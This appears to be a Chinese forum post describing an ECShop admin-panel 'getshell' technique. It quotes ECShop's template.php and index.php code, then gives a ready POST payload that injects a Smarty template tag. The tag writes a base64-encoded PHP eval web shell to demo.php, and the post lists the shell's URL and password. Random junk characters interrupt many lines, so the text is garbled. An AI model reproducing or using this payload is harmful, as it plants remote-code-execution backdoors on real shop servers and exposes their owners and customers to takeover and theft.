Ecshop后台getshell

admin

首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
7 Q2 u( I/ a. D; a& J8 p7 X( j
' s7 @# P/ j+ ?而模板里面可以执行他定义的php代码，这样只要可以写出模板 然后找到调用就可以拿到shell了
+ {) ]( w+ i( U6 T6 A% y9 J% m但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
, u- S- _/ `  s  Z: Yadmin/template.php

  L2 `* |( [9 Y; c$ ^- {1 if ($_REQUEST['act'] == 'update_library')
4 l$ Y) V/ ~9 g# W, ~/ j  h
' H: v8 s5 Z9 |2   

3 {
8 W7 u* t( d( h0 j' @) @& b* z
& r$ x" S* f& r- C, S1 [' Z4     check_authz_json('library_manage');

  v% X# @# _6 N+ d5   

$ {. z7 k2 t; r( C3 w2 q4 f6     $html = stripslashes(json_str_iconv($_POST['html']));
% I. O0 z5 K4 Q
, ]- `; Y# u( z0 P7   

8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件
" W( `3 a! T+ F9 n$ s( g
9   

* l3 m! O: e3 n10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符

11   

12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));

13   

7 U, E$ D. d& A' m# ~" e14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出
% ?* J1 W2 V* o% n) m" N
15     {

% p) c% B  c! d# q16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);

17         make_json_result('', $_LANG['update_lib_success']);

' Z0 E1 P. F+ p) s18     }

19     else

20     {

21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));

22     }

) [8 |8 ?( \4 T$ e3 H23 }

那么找个比较方便调用了模板的文件
6 Y5 F1 j1 }0 A+ F6 u$ \index.php

1 if ($act == 'cat_rec')
6 K/ ^  [3 |5 ]4 j' f8 r/ t2 O. A
' ^4 u! r0 I0 J' p2   
' u4 o0 Z4 L% ^3 M" s3 _
3 {

4   

5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');
$ {# Y# o- h) o! m; P
6   

7 _" d7 \0 V5 o( `7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';
0 k* ^) S! P+ c: C) N  ]
! ]9 ~4 o3 `9 O0 }) Y" r/ E2 d- T8   
  P! k7 q% \+ G# d9 Z
9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';

( U7 b; R6 @: H+ H- q' k10   

, N% q  x5 `  e7 `& ^11     include_once('includes/cls_json.php');

. t& n# i% R+ y4 H$ _12   

13     $json = new JSON;

14   

15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);

) h6 U7 F0 H/ N$ ~$ a16   
3 A# O$ c5 E) `( t; v# h
! `; K5 ?3 f& n17     $children = get_children($cat_id);

18   

9 X% A1 \$ d! X7 O6 j19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品

20   
. _- n2 e, m$ D# Q3 b
& x; c$ ^. T6 r" U( v7 t21     $smarty->assign('cat_rec_sign', 1);

/ o& U) K) N, P$ R, ]22   
& z. \& B1 ?6 E5 p& A# {% z, z
: I3 p/ M% {9 q9 s5 O/ w2 u23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best

& Z5 w- g5 K5 u& n6 v5 _24   
% M2 Z  K9 u' A( z6 d; m+ C
25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';

26   

" h4 @) O' s  L* |27         echo $rec_array[$rec_type];
. e5 q1 ^% V0 ~: O& t- A( A& q" a
+ e( S0 h. E# W( }# O5 W28   
, d5 q; g7 T- G* {' }" _
# p7 V' W3 G! x3 |$ I1 k29     die($json->encode($result));

; z/ j0 n# c+ o1 v" l+ w30   

31 }
' E1 D6 Q5 W1 {$ o( f& S
那么就有利用方法了
post包到http://localhost/ec/admin/template.php?act=update_library
Post内容：

, M8 y; S( N! h5 N​
# ~8 ]; }1 r( R# w1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}

9 B+ J! z" x" h" b然后访问http://localhost/ec/index.php?act=cat_rec
5 r& v& O4 S6 f9 }  R( _
shel地址：http://localhost/ec/demo.php
密码c

3 r* ^! j% S- h' Z